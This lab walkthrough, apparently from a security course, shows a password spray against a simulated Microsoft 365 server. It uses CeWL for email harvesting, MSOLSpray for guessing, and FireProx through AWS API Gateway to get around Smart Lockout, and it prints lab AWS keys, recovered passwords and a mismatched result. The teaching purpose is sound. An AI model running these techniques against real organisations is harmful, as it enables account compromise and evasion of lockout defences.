Lab 3.2: Microsoft 365 Password Attacks
Brief Intro
In this Cloud Spotlight lab you will implement a password spray attack against our simulated Microsoft 365 target server, using MSOLSpray and FireProx to evaluate and recover login credentials against Falsimentis Corporation.
Requirements for This Lab
In this lab, you will use your Slingshot Linux VM. Make sure the VM is running before continuing with this lab exercise.
Try It Yourself
Start the lab exercise by running gomsol. Evaluate the simulated cloud Microsoft 365 server at login.microsoft.com (from your Slingshot Linux VM). Use the public website resources at www.falsimentis.com to build a user list, and use common password selection techniques to recover user passwords. Use FireProx (/usr/local/bin/fire.py) to create a simulated AWS API Gateway to thwart Smart Lockout policies.
Walkthrough
Overview
In this lab you will use your Slingshot Linux VM to attack a simulated cloud environment consisting of a Microsoft 365 login server with the help of the AWS API Gateway. You will also use other public resources to perform reconnaissance and analysis including the Falsimentis DNS server at 172.30.0.254, the Falsimentis website, and a website that reports your public IP address at myip.sunsetisp.com.
Open a Terminal
From the Slingshot Linux VM, open a terminal.
Launch the Simulated Cloud Targets
From the Slingshot terminal, run gomsol to launch the simulated cloud targets we will use for this exercise, as shown here.
sec504@slingshot:~$ gomsol Starting Docker service ..... Done. 7544fe62d39733ab7732ab5d452bf2fdad9962f3c487db4e57df1f46f4d9fbfe 6d9a006071244638e68fdc1d2b7bd43a528990d6effd71956eb2f1573fb6525a 192bcbf5486e359b639ccf4463afec2af57e5b27a48625e27a2ffa84d1d46f3a 8e6713e269efcb7dd4266df7701b97041b70a52c5f0360249991794b4a2bcdb1 bcecc70885dd3f5f3deaabee0e4ece3d1cb9d8b8932a879d753843c5088902d4
Note that the hash values shown in the output of
gomsolwill be different for your system.
Microsoft 365 Reconnaissance: DNS Interrogation
Attackers will perform reconnaissance activities to identify if the target organization uses Microsoft 365 services for email or other cloud functions. This will likely begin with OSINT techniques to identify domain names associated with the target organization. For each domain name, attackers will inspect DNS records to identify signs of Microsoft 365 configuration requirements.
We'll return to using the Falsimentis DNS server at 173.20.0.254 to scan for Microsoft 365 configuration settings. From your terminal, use the dig utility to interrogate the server for the mail exchange (MX) records for falsimentis.com, as shown here.
$ dig +short @172.30.0.254 MX falsimentis.com 10 falsimentis-com.mail.protection.outlook.com.
The Falsimentis DNS server indicates that it has a single mail exchange record. This MX indicates that inbound email send to users of the falsimentis.com should be handled by the Microsoft 365 server falsimentis-com.mail.protection.outlook.com.
Another DNS indicator that an organization uses Microsoft 365 is the presence of the autodiscover canonical name (CNAME) entry for the target domain. Press the up arrow to repeat the previous query, changing the MX record type to CNAME and add autodiscover. to the beginning of the host name, as shown here.
$ dig +short @172.30.0.254 CNAME autodiscover.falsimentis.com autodiscover.outlook.com.
Here we see that the canonical name for autodiscover.falsimentis.com is autodiscover.outlook.com. The autodiscover alias is often used by mail clients (notably Outlook) for discovering their email server as a common Microsoft 365 configuration setting.
At this point we're reasonably sure the Falsimentis organization is using Microsoft 365 for email services. Let's continue to investigate the login.microsoft.com server itself.
Attempt to Login: login.microsoft.com
Next, open Firefox and navigate to the https://login.microsoft.com server. Firefox will present you with a certificate error. Click Advanced | Accept the Risk and Continue.
Under non-lab circumstances, you would not get a certificate error when visiting the Microsoft login page. We chose to leave the certificate error here to remind you that this is not a legitimate login server!
Attempt to login with any (non-valid) credentials; notice how authentication fails. This will be our target for the lab exercise using a password spray attack.
Browse to www.falsimentis.com
From Firefox, navigate to the http://www.falsimentis.com website. This is a typical company website with some product and offering details, along with contact information and some company leadership team information.
Navigate to the Team link from the website menu to see a list of the company leadership. For each person listed you can click on their name to get additional information about the person, as shown here.

Click on any of name of anyone on the leadership team to get detailed information about the person. Notice that their email information is disclosed in a mailto: link, as shown here.

The CeWL website data collection tool allows us to harvest the email address information posted on a website. We can use this data to build a list of email addresses to use for the password spray attack.
Harvest Email with CeWL
From the terminal, run CeWL to collect information from the www.falsimentis.com website, as shown here.
sec504@slingshot:~$ /opt/cewl/cewl.rb -d 8 -w words.txt -e --email_file email.txt http://www.falsimentis.com/ CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Let's break down this command piece by piece:
/opt/cewl/cewl.rb: Run the CeWL utility from the/opt/cewldirectory-d 8: Change the default website spider depth from 2 to 8 to collect more information-w words.txt: Save the unique words list towords.txt-e: Tell CeWL to collect email addresses as well as words--email_file email.txt: Save the collected email addresses toemail.txthttp://www.falsimentis.com/: Crawl the www.falsimentis.com website
When CeWL finishes you will have two new files: words.txt and email.txt. Display the contents of the email.txt file, as shown here.
sec504@slingshot:~$ cat email.txt Ciel.Britch@falsimentis.com Donovan.Lea@falsimentis.com Fidelity.Passo@falsimentis.com Hiring@falsimentis.com Irvine.Obbard@falsimentis.com Jeremy.Lengthorn@falsimentis.com Jillana.Walcott@falsimentis.com Jillana.Walcott@falsiments.com Kala.Edwinson@falsimentis.com Lukas.Dolman@falsimentis.com Pembroke.Trouel@falsimentis.com Rollins.Hows@falsimentis.com Sales@falsimentis.com
CeWL has collected multiple email addresses from the Falsimentis website that we can use for the Microsoft 365 password spray attack.
Start MSOLSpray
Next we'll start MSOLSpray. MSOLSpray is a PowerShell script, so we start by running the Linux PowerShell interpreter, pwsh, as shown here:
sec504@slingshot:~$ pwsh PowerShell 7.2.2 Copyright (c) Microsoft Corporation. https://aka.ms/powershell Type 'help' to get help. PS /home/sec504>
PowerShell uses a color scheme that may be difficult to read in terminals with a white background. Consider switching your terminal to dark mode by clicking Terminal | Change Profile | Dark.
Next, use the Import-Module cmdlet to import the /opt/MSOLSpray/MSOLSpray.ps1 script into the current session, as shown here.
PS /home/sec504> Import-Module /opt/MSOLSpray/MSOLSpray.ps1
Next, run the Invoke-MSOLSpray cmdlet, specifying the CeWL email list with the -UserList argument. MSOLSpray accepts a single password to implement the spray attack; specify the password Lakers2020, as shown here.
Note: We've selected Lakers2020 as the password since that is a popular sports team in the Los Angeles area where Falsimentis is headquartered. To make the password complex, the year of the most recent Lakers NBA Playoffs win (2020) is added to the end of the team name.
PS /home/sec504> Invoke-MSOLSpray -UserList ./email.txt -Password Lakers2020 [*] There are 13 total users to spray. [*] Now spraying Microsoft Online. [*] Current date and time: 04/12/2022 10:38:28 [*] WARNING! Valid user, but invalid password for Ciel.Britch@falsimentis.com. [*] WARNING! Valid user, but invalid password for Donovan.Lea@falsimentis.com. [*] WARNING! Valid user, but invalid password for Fidelity.Passo@falsimentis.com. [*] WARNING! The user Hiring@falsimentis.com doesn't exist. [*] WARNING! Valid user, but invalid password for Irvine.Obbard@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jeremy.Lengthorn@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jillana.Walcott@falsimentis.com. [*] WARNING! Tenant for account Jillana.Walcott@falsiments.com doesn't exist. Check the domain to make sure they are using Azure/O365 services. [*] WARNING! Valid user, but invalid password for Kala.Edwinson@falsimentis.com. [*] WARNING! The account Lukas.Dolman@falsimentis.com appears to be locked. [*] WARNING! The account Pembroke.Trouel@falsimentis.com appears to be locked. [*] WARNING! The account Rollins.Hows@falsimentis.com appears to be locked. [*] WARNING! The account Sales@falsimentis.com appears to be locked.
MSOLSpray completes the password spray attack with detailed information about the user accounts, differentiating an invalid username from a valid user with an invalid password.
Notice that the first several responses indicate that we have valid Microsoft 365 usernames, but invalid passwords. For the email address hiring@falsimentis.com, the Microsoft 365 server indicates that the user doesn't exist. This is useful information for the attacker, since they know to remove that email address from their user list for the password spray.
Also notice the error message for Jillana.Walcott@falsiments.com (sic). This appears to be an incorrect email address, collected from the www.falsimentis.com website. Microsoft 365 indicates that this tenant account doesn't exist, allowing the attacker to differentiate between invalid accounts and invalid tenant domain names.
Notice that after 10 account logins, we get a different error message from MSOLSpray: The account ... appears to be locked. Let's repeat the password spray attack with a new password for another sports team championship in the Los Angeles area, as shown here.
PS /home/sec504> Invoke-MSOLSpray -UserList ./email.txt -Password Dodgers2020 [*] There are 13 total users to spray. [*] Now spraying Microsoft Online. [*] Current date and time: 04/12/2022 10:54:01 [*] WARNING! The account Ciel.Britch@falsimentis.com appears to be locked. [*] WARNING! The account Donovan.Lea@falsimentis.com appears to be locked. [*] WARNING! The account Fidelity.Passo@falsimentis.com appears to be locked. [*] WARNING! The account Hiring@falsimentis.com appears to be locked. [*] WARNING! The account Irvine.Obbard@falsimentis.com appears to be locked. [*] WARNING! The account Jeremy.Lengthorn@falsimentis.com appears to be locked. [*] WARNING! The account Jillana.Walcott@falsimentis.com appears to be locked. [*] WARNING! The account Jillana.Walcott@falsiments.com appears to be locked. [*] WARNING! The account Kala.Edwinson@falsimentis.com appears to be locked. [*] WARNING! The account Lukas.Dolman@falsimentis.com appears to be locked. WARNING! Multiple Account Lockouts Detected! 10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray? [Y] Yes [N] No [?] Help (default is "Y"):
In this second invocation of MSOLSpray, the Microsoft 365 server indicates that all accounts are locked. After 10 successive account locked errors, MSOLSpray asks if you wish to continue the attack, correctly predicting that additional password guesses will likely be unsuccessful due to Smart Lockout. Answer N to stop the spray attack.
In this attack, the attacker is quickly identified as malicious since all requests come from a single source IP address. You can see your static IP address by making a request to our in-lab myip.sunsetisp.com server, as shown here.
PS /home/sec504> curl myip.sunsetisp.com 192.168.200.1
Tip: The myip.sunsetisp.com server exists only within our lab environment. Outside of the lab environment you can get similar IP address information by making an HTTP or HTTPS request to the ifconfig.me server.
The Smart Lockout feature used by Microsoft 365 is valuable for organizations, preventing an attacker from completing more than 10 password spray guesses from a single source IP address. However, an attacker can modify the attack to bypass this limitation by leveraging publicly-accessible cloud resources.
FireProx
To circumvent the Smart Lockout feature, attackers can use the AWS API Gateway service, creating an endpoint to proxy login requests to the login.microsoft.com server. This attack is straightforward to implement with FireProx.
To use FireProx, you will need to configure your AWS credentials file with valid AWS credentials that have the necessary permissions to create an AWS API Gateway endpoint. We have already configured your AWS credentials for this lab exercise. You can optionally display the AWS credentials with Get-Content, as shown here.
PS /home/sec504> Get-Content /home/sec504/.aws/credentials [default] aws_access_key_id = AKIAJQHVNFNMLINIZY6C aws_secret_access_key = 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
Note: These credentials are only valid for our simulated cloud exercises.
Next we'll create the AWS API Gateway endpoint with FireProx. Open a new terminal window, then run fire.py, as shown here.
sec504@slingshot:~$ fire.py FireProx - Modified for lab use. Do not use this version outside of a lab. To use FireProx in production on this system, run /opt/fireprox/fire.py instead. This lab version of FireProx requires root access. Please run with sudo.
For this lab exercises and the simulated cloud environment we will use a modified version of FireProx. Normally FireProx does not require root access, but we need it for this lab exercise. Re-run fire.py with root privileges using sudo, as shown here.
sec504@slingshot:~$ sudo fire.py
FireProx - Modified for lab use. Do not use this version outside of a lab. To
use FireProx in production on this system, run /opt/fireprox/fire.py instead.
usage: fire.py [-h] [--profile_name PROFILE_NAME] [--access_key ACCESS_KEY]
[--secret_access_key SECRET_ACCESS_KEY]
[--session_token SESSION_TOKEN] [--region REGION]
[--command COMMAND] [--api_id API_ID] [--url URL]
FireProx API Gateway Manager
optional arguments:
-h, --help show this help message and exit
--profile_name PROFILE_NAME
AWS Profile Name to store/retrieve credentials
--access_key ACCESS_KEY
AWS Access Key
--secret_access_key SECRET_ACCESS_KEY
AWS Secret Access Key
--session_token SESSION_TOKEN
AWS Session Token
--region REGION AWS Region
--command COMMAND Commands: list, create, delete, update
--api_id API_ID API ID
--url URL URL end-point
Please provide a valid command
FireProx will use the default AWS credentials unless alternate credentials are specified on the command line. To create an AWS API Gateway endpoint we specify the --command create argument, along with a destination URL using --url.
To demonstrate the behavior of FireProx, let's create an AWS API Gateway with the URL endpoint http://myip.sunsetisp.com, as shown here.
sec504@slingshot:~$ sudo fire.py --command create --url http://myip.sunsetisp.com FireProx - Modified for lab use. Do not use this version outside of a lab. To use FireProx in production on this system, run /opt/fireprox/fire.py instead. Creating => http://myip.sunsetisp.com... [2022-04-12 11:24:46-00:00] (32ptk9jqm0) fireprox_sunsetisp => http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ (http://myip.sunsetisp.com)
In the output of FireProx we see it has created an API endpoint at http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/. Your actual URL will be slightly different. The beginning of the URL (32ptk9jqm0 in this example) is the API ID for this instance of the AWS API Gateway server.
Next, let's repeat the cURL command to identify our IP address on the myip.sunsetisp.com server, as shown here:
sec504@slingshot:~$ /home/sec504> curl myip.sunsetisp.com 192.168.200.1
Here we see that our Slingshot Linux IP address (for the simulated cloud environment) has not changed. To use the FireProx-created AWS API Gateway endpoint, the attacker replaces the normal URL with the URL generated by FireProx. Repeat the cURL command, this time requesting the FireProx URL (NOTE: Replace the URL shown in the example below with the URL displayed in the output of the FireProx command.)
sec504@slingshot:~$ curl http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ 10.200.150.241
If you get the error
Could not resolve host, please check to ensure your URL matches the URL presented in the output of thefire.pycommand.
In this configuration, the API API Gateway server acts as a sort of HTTP proxy for the attacker. In this example, 10.200.150.241 is the IP address of the AWS API Gateway worker that forwards the request to the myip.sunsetisp.com server. The myip.sunsetisp.com server does not see the IP address of the attacker, only of the AWS API Gateway worker.
Press the up arrow and repeat this cURL command several more times. Notice how each request uses a different IP address.
sec504@slingshot:~$ curl http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ 10.200.115.89 sec504@slingshot:~$ curl http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ 10.200.148.63 sec504@slingshot:~$ curl http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ 10.200.177.49 sec504@slingshot:~$ curl http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ 10.200.198.211 sec504@slingshot:~$ curl http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ 10.200.149.214
This is a significant benefit for the attacker: each request through the service will use a unique IP address, avoiding services like Smart Lockout that attempt to identify password spray attacks by tracking the number of failed authentication attempts from a single source IP address.
Next, delete the AWS API Gateway service using FireProx with the --command delete parameter, specifying the API ID with the --api_id argument, as shown here. (Note: Replace the API ID in this example with the one created for your AWS API Gateway instance.)
sec504@slingshot:~$ sudo fire.py --command delete --api_id 32ptk9jqm0 FireProx - Modified for lab use. Do not use this version outside of a lab. To use FireProx in production on this system, run /opt/fireprox/fire.py instead. Deleting 32ptk9jqm0 => Success!
FireProx & MSOLSpray
Now that we know how to leverage FireProx, let's apply that tool to MSOLSpray. From your Bash terminal, press the up arrow a few times to return to the FireProxy create command. Change the URL endpoint to target the https://login.microsoft.com server, as shown here.
sec504@slingshot:~$ sudo fire.py --command create --url https://login.microsoft.com FireProx - Modified for lab use. Do not use this version outside of a lab. To use FireProx in production on this system, run /opt/fireprox/fire.py instead. Creating => https://login.microsoft.com... [2022-04-12 11:41:37-00:00] (9jb82e7504) fireprox_microsoft => http://9jb82e7504.execute-api.us-east-1.amazonaws.com/ (http://login.microsoft.com)
In this output we see that FireProx has created a new AWS API Gateway endpoint (note that your endpoint URL will be different than the example shown here). Like we saw earlier with the myip.sunsetisp.com example, each request sent to login.microsoft.com through the AWS API Gateway endpoint will originate from a different source IP address.
Copy the AWS API Gateway endpoint URL into your clipboard, then return to the PowerShell terminal where you ran MSOLSpray. Press the up arrow to re-run the prior Invoke-MSOLSpray cmdlet, this time adding the -URL argument followed by the AWS API Gateway endpoint. At the end of the cmdlet, also add the -OutFile ~/msolspray.txt argument, as shown here.
PS /home/sec504> Invoke-MSOLSpray -UserList ./email.txt -Password Dodgers2020 -URL http://9jb82e7504.execute-api.us-east-1.amazonaws.com/ -OutFile ~/msolspray.txt [*] There are 13 total users to spray. [*] Now spraying Microsoft Online. [*] Current date and time: 04/12/2022 11:47:04 [*] WARNING! Valid user, but invalid password for Ciel.Britch@falsimentis.com. [*] WARNING! Valid user, but invalid password for Donovan.Lea@falsimentis.com. [*] WARNING! Valid user, but invalid password for Fidelity.Passo@falsimentis.com. [*] WARNING! The user Hiring@falsimentis.com doesn't exist. [*] WARNING! Valid user, but invalid password for Irvine.Obbard@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jeremy.Lengthorn@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jillana.Walcott@falsimentis.com. [*] WARNING! Tenant for account Jillana.Walcott@falsiments.com doesn't exist. Check the domain to make sure they are using Azure/O365 services. [*] WARNING! Valid user, but invalid password for Kala.Edwinson@falsimentis.com. [*] WARNING! Valid user, but invalid password for Lukas.Dolman@falsimentis.com. [*] WARNING! Valid user, but invalid password for Pembroke.Trouel@falsimentis.com. [*] WARNING! Valid user, but invalid password for Rollins.Hows@falsimentis.com. [*] WARNING! The user Sales@falsimentis.com doesn't exist. Results have been written to ~/msolspray.txt.
If you get the error message
Name or service not known, make sure you are using the URL created by FireProx when you ran thefire.pycommand. You can runsudo fire.py --command listto list the available FireProx URLs.
Notice in this new invocation of MSOLSpray we no longer see the account lockout messages. Since we send the password spray attack through the AWS API Gateway endpoint, each request comes from a unique IP address, and we never exceed the 10 failed login threshold from a single source IP address that triggers Smart Lockout.
By adding the -OutFile argument, we also capture the results of MSOLSpray to the named file. Display the contents of this file using the Get-Content cmdlet, as shown here.
PS /home/sec504> Get-Content ~/msolspray.txt Valid user, but invalid password : Ciel.Britch@falsimentis.com Valid user, but invalid password : Donovan.Lea@falsimentis.com Valid user, but invalid password : Fidelity.Passo@falsimentis.com Valid user, but invalid password : Irvine.Obbard@falsimentis.com Valid user, but invalid password : Jeremy.Lengthorn@falsimentis.com Valid user, but invalid password : Jillana.Walcott@falsimentis.com Valid user, but invalid password : Kala.Edwinson@falsimentis.com Valid user, but invalid password : Lukas.Dolman@falsimentis.com Valid user, but invalid password : Pembroke.Trouel@falsimentis.com Valid user, but invalid password : Rollins.Hows@falsimentis.com
The advantage of using the -OutFile parameter with MSOLSpray is that it makes it easy to refine the email address list. We don't need to continue to try to login with Hiring@falsimentis.com, Jillana.Walcott@falsiments.com, and other invalid email addresses since those accounts don't exist. We can use the email address information from this output file as a new user list after removing the beginning of each line.
From PowerShell, press the up arrow to repeat the previous Get-Content command, adding a ForEach cmdlet to the pipeline with the arguments shown here.
PS /home/sec504> Get-Content ~/msolspray.txt | ForEach { ($_ -split ' ')[6] }
Ciel.Britch@falsimentis.com
Donovan.Lea@falsimentis.com
Fidelity.Passo@falsimentis.com
Irvine.Obbard@falsimentis.com
Jeremy.Lengthorn@falsimentis.com
Jillana.Walcott@falsimentis.com
Kala.Edwinson@falsimentis.com
Lukas.Dolman@falsimentis.com
Pembroke.Trouel@falsimentis.com
Rollins.Hows@falsimentis.com
This ForEach cmdlet starts a PowerShell code block (inside {}) and splits each line in the msolspray.txt file by a space, retrieving only the 6th field offset (the email address) as the output.
Note: We're using the PowerShell built-in functionality to extract the necessary information, similar to the UNIX
cutcommand. It's also OK to usecutfrom PowerShell on Linux (cut -d" " -f7) to achieve similar results.
We extracted the email address information from msolspray.txt, but we also need to save it to a new file. Re-run the PowerShell command, adding Out-File ~/falsimentis-valid-users.txt to the pipeline, as shown here.
PS /home/sec504> Get-Content ~/msolspray.txt | ForEach { ($_ -split ' ')[6] } | Out-File ~/falsimentis-valid-users.txt
PS /home/sec504>
Return to the Invoke-MSOLSpray cmdlet by pressing the up arrow several times. Change the -UserList argument to read from the ~/falsimentis-valid-users.txt file, limiting the spray attack to valid user accounts. You may optionally remove the -OutFile argument, if desired. Experiment with several passwords, including the following suggestions for commonly-weak passwords and other keywords collected from the falsimentis.com website:
- Password123
- Lakers2020
- Dodgers2020
- Mittens2022
- Falsimentis123
- Summer2022
- Coffee2022
Question: What is Rollins Hows' password?
Mittens2022
PS /home/sec504> Invoke-MSOLSpray -UserList ~/falsimentis-valid-users.txt -URL http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ -Password Mittens2022 [*] There are 10 total users to spray. [*] Now spraying Microsoft Online. [*] Current date and time: 04/12/2022 13:15:28 [*] WARNING! Valid user, but invalid password for Ciel.Britch@falsimentis.com. [*] WARNING! Valid user, but invalid password for Donovan.Lea@falsimentis.com. [*] WARNING! Valid user, but invalid password for Fidelity.Passo@falsimentis.com. [*] WARNING! Valid user, but invalid password for Irvine.Obbard@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jeremy.Lengthorn@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jillana.Walcott@falsimentis.com. [*] WARNING! Valid user, but invalid password for Kala.Edwinson@falsimentis.com. [*] WARNING! Valid user, but invalid password for Lukas.Dolman@falsimentis.com. [*] WARNING! Valid user, but invalid password for Pembroke.Trouel@falsimentis.com. [*] SUCCESS! Rollins.Hows@falsimentis.com : Mittens2022 - NOTE: The response indicates MFA (Microsoft) is in use.
Note that we have the valid username and password combination for Rollins Hows, but the account requires a second authentication factor to login. The username and password are still valuable to an attacker, but cannot be used alone to login to the Microsoft 365 service.
Question: What is Jillana Walcott's password?
Falsimentis123
PS /home/sec504> Invoke-MSOLSpray -UserList ~/falsimentis-valid-users.txt -URL http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/ -Password Falsimentis123 [*] There are 10 total users to spray. [*] Now spraying Microsoft Online. [*] Current date and time: 04/12/2022 12:16:53 [*] WARNING! Valid user, but invalid password for Ciel.Britch@falsimentis.com. [*] WARNING! Valid user, but invalid password for Donovan.Lea@falsimentis.com. [*] WARNING! Valid user, but invalid password for Fidelity.Passo@falsimentis.com. [*] WARNING! Valid user, but invalid password for Irvine.Obbard@falsimentis.com. [*] WARNING! Valid user, but invalid password for Jeremy.Lengthorn@falsimentis.com. [*] SUCCESS! Jillana.Walcott@falsimentis.com : Falsimentis123 [*] WARNING! Valid user, but invalid password for Kala.Edwinson@falsimentis.com. [*] WARNING! Valid user, but invalid password for Lukas.Dolman@falsimentis.com. [*] WARNING! Valid user, but invalid password for Pembroke.Trouel@falsimentis.com. [*] WARNING! Valid user, but invalid password for Rollins.Hows@falsimentis.com.
Cleanup
When you are finished with the lab steps, run stopmsol, as shown here.
PS /home/sec504> stopmsol Stopping Docker containers for Microsoft 365 Password Attacks lab bcecc70885dd 8e6713e269ef 192bcbf5486e 6d9a00607124 7544fe62d397 Done
Next, exit PowerShell to return to the Linux shell.
Why This Lab Is Important
Attackers will often target cloud SaaS authentication solutions as a mechanism to implement password guessing and password spray attacks. In the case of Microsoft 365, the product uses several features to mitigate these attacks. However, a crafty attacker can leverage cloud resources against a target organization to bypass some of those restrictions and implement a successful attack strategy.
Video Walkthrough
Watch the accompanying video instructions for additional information.
Bonus (If Time Permits or Homework)
In this lab we recovered a small number of passwords using the Microsoft 365 service, but we limited our spray attack to email addresses gathered from the CeWL scan on the www.falsimentis.com website. The recovered email addresses are limited to executives listed on the website, but we may be able to expand our password recovery attack by spraying additional Falsimentis email addresses.
Wherever possible, an attacker will use OSINT techniques to collect email address information since that will be the most likely addresses for valid user accounts. However, using MSOLSpray and FireProx, an attacker can also use common first and last names to try and enumerate additional valid accounts.
From your PowerShell session, examine the files firstnames.txt and lastnames.txt in the ~/labs/names directory, as shown here.
PS /home/sec504> Get-ChildItem ~/labs/names
Directory: /home/sec504/labs/names
UnixMode User Group LastWriteTime Size Name
-------- ---- ----- ------------- ---- ----
-rw-rw-r-- sec504 sec504 4/12/2022 13:52 610 firstnames.txt
-rw-rw-r-- sec504 sec504 4/12/2022 13:52 591 lastnames.txt
PS /home/sec504> Get-Content ~/labs/names/firstnames.txt -First 5
andrea
andrew
anthony
antonius
arthur
PS /home/sec504> Get-Content ~/labs/names/lastnames.txt -First 5
adams
allen
anderson
baker
braund
These two files include common first and last names from the United States Census data, and additional entries added for lab purposes.
Note: If you apply this technique for username discovery, use first and last name information from geographic-specific data sources for your target organization.
We can merge each of the names from the first name file with each name from the last name file, forming a Falsimentis email address using PowerShell and two ForEach loops. First, let's declare two PowerShell array variables consisting of each line in both files, as shown here.
PS /home/sec504> $firstnames = Get-Content /home/sec504/labs/names/firstnames.txt PS /home/sec504> $lastnames = Get-Content /home/sec504/labs/names/lastnames.txt
Here we've declared two variables, $firstnames and $lastnames, each containing each name from the respective name files. Using the length member we can see that there are 20 first names and 20 last names. We want to merge each first name with a last name to form an email address. Run the nested ForEach loops to merge the data together as shown here.
PS /home/sec504> $firstnames.length
20
PS /home/sec504> $lastnames.length
20
PS /home/sec504> $(ForEach ($first in $firstnames) { ForEach ($last in $lastnames) { "$first.$last@falsimentis.com" } }) | Out-File "falsimentis-email-guesses.txt"
PS /home/sec504> Get-Content -First 5 falsimentis-email-guesses.txt
andrea.adams@falsimentis.com
andrea.allen@falsimentis.com
andrea.anderson@falsimentis.com
andrea.baker@falsimentis.com
andrea.braund@falsimentis.com
Next, run Invoke-MSOLSpray again, this time specifying the new list of email addresses, and specifying an -OutFile of ~/falsimentis-valid-users2.txt. For demonstration purposes, use the password Summer2022, as shown here.
PS /home/sec504> Invoke-MSOLSpray -UserList ~/falsimentis-email-guesses.txt -URL http://c3yr8h2n7r.execute-api.us-east-1.amazonaws.com/ -Password Summer2022 -OutFile ~/falsimentis-valid-users2.txt [*] There are 400 total users to spray. [*] Now spraying Microsoft Online. [*] Current date and time: 04/12/2022 15:51:57 [*] WARNING! The user andrea.allen@falsimentis.com doesn't exist. [*] WARNING! The user andrea.brown@falsimentis.com doesn't exist. [*] WARNING! The user andrea.davis@falsimentis.com doesn't exist. [*] WARNING! The user andrea.garcia@falsimentis.com doesn't exist. [*] WARNING! The user andrea.gray@falsimentis.com doesn't exist. [*] WARNING! Valid user, but invalid password for andrea.harris@falsimentis.com. [*] WARNING! The user andrea.hernandez@falsimentis.com doesn't exist. [*] WARNING! The user andrea.johnson@falsimentis.com doesn't exist. [*] WARNING! The user andrea.jones@falsimentis.com doesn't exist. [*] WARNING! The user andrea.keely@falsimentis.com doesn't exist. ...
In this output we will see a lot of messages indicating the user does not exist, but we can examine the output file ~/falsimentis-valid-users2.txt to see all other messages, as shown here.
PS /home/sec504> Get-Content ~/falsimentis-valid-users2.txt Valid user, but invalid password : andrea.harris@falsimentis.com bari.kembrey@falsimentis.com : Summer2022 Valid user, but invalid password : biddy.lulham@falsimentis.com Valid user, but invalid password : edward.gray@falsimentis.com Valid user, but invalid password : heather.allen@falsimentis.com Valid user, but invalid password : john.merckle@falsimentis.com Valid user, but invalid password : maddie.keely@falsimentis.com
In this output we learn about another valid username and password combination for Andrea Harris. We also learn about five other user accounts that we can continue to use with password spray attacks.
